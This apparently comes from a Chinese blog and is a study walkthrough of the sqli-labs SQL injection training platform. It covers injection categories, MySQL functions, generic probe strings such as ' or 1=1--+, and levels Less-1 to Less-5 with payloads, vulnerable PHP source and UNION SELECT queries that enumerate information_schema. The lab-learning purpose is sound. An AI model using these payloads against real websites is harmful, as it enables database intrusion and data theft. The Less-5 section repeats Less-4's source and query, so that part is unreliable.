IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入分级通关(sqli-labs) -> 正文阅读

[大数据]SQL注入分级通关(sqli-labs)

零、还在学习,每日更新

一、基础知识

1. 注入的分类

1)基于从服务器接收到的响应

① 基于错误的 SQL 注入

② 联合查询的类型

③ 堆查询注射

④ SQL 盲注

a. 基于布尔 SQL 盲注
b. 基于时间的 SQL 盲注
c. 基于报错的 SQL 盲注

2)基于如何处理输入的 SQL 查询(数据类型)

① 基于字符串

② 数字或整数为基础的

3)基于程度和顺序的注入(哪里发生了影响)

① 一阶注射

一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果

② 二阶注射

二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害。

4)基于注入点的位置上的

① 通过用户输入的表单域的注射

② 通过 cookie 注射

③ 通过服务器变量注射(基于头部信息的注射)

2. 常见函数

1)系统函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

2)字符串函数

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

3. 一般尝试语句

or 1=1--+
' or 1=1--+
" or 1=1--+
) or 1=1--+ 
') or 1=1--+
") or 1=1--+ 
")) or 1=1--+
为啥用 --+
--, 和 # 在SQL中表示注释
SQL中--后一定要有空格才可以注释, 不加空格会报错
URL中#不会被请求
URL中+会被转换成空格

二、环境配置

实验平台Sqli-labs下载
Apache 2.4.39
MySQL 5.7.26
PHP 5.6.9(使用7x版本会有问题)
使用phpstudy在Windows平台部署
修改数据库配置
在这里插入图片描述
访问127.0.0.1\sqli并配置数据库后即可使用
在这里插入图片描述

三、分级通关

1. Less-1

1)注入过程

提示:GET - Error based - Single quotes - String
尝试使用?id=1' or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看出id数据类型是String
构造的SQL语句为:

SELECT * FROM users WHERE id='1' or 1=1--+' LIMIT 0,1

3)学习提高

尝试使用?id=1' order by 4--+,得知只有三列,为之后union查询做铺垫
在这里插入图片描述
根据MySQL的特性
尝试使用?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+,得知有哪些database
在这里插入图片描述
尝试使用?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+,得知有哪些table
在这里插入图片描述尝试使用?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+,得知有哪些column
在这里插入图片描述

Less-2

1)注入过程

提示:GET - Error based - Intiger based
尝试Lees-1注入方法?id=1' or 1=1--+
在这里插入图片描述
多了一个单引号
尝试?id=1 or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与Less-1不同,Less-2的id的数据类型是整数
构造的SQL语句为

SELECT * FROM users WHERE id=1 or 1=1--+' LIMIT 0,1

3. Less-3

1)注入过程

提示:GET - Error based - Single quotes with twist - string
有Less-1和Less-2的经验
尝试?id=1') or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
"SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

构造的SQL语句

SELECT * FROM users WHERE id=('1') or 1=1--+'')LIMIT 0,1

4. Less-4

1)注入过程

提示:GET - Error based - Double Quotes - String
尝试?id=1") or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造的SQL语句

SELECT * FROM users WHERE id=("1") or 1=1--+'')LIMIT 0,1

4. Less-5

1)注入过程

提示:GET - Double Injection - Single Quotes - String
尝试?id=1‘ or 1=1--+
在这里插入图片描述

2)源码分析

$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造的SQL语句

SELECT * FROM users WHERE id=("1") or 1=1--+'')LIMIT 0,1
  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-05-18 17:42:19  更:2022-05-18 17:45:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 19:54:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码